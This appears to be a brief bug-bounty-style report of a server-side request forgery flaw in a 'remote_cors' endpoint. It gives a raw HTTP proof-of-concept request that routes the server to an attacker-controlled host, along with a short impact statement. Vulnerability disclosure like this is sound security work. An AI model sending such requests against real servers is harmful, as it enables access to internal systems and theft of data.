Description

Server-Side Request Forgery in remote_cors

Proof of Concept

GET /remote/cors/http://<my-vps>:8888 HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:8000/cust000/cases
Cookie: <cookies>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

PoC Image

Impact

An attacker could make the application perform arbitrary requests to fishing steal cookie, request to private area, or lead to xss...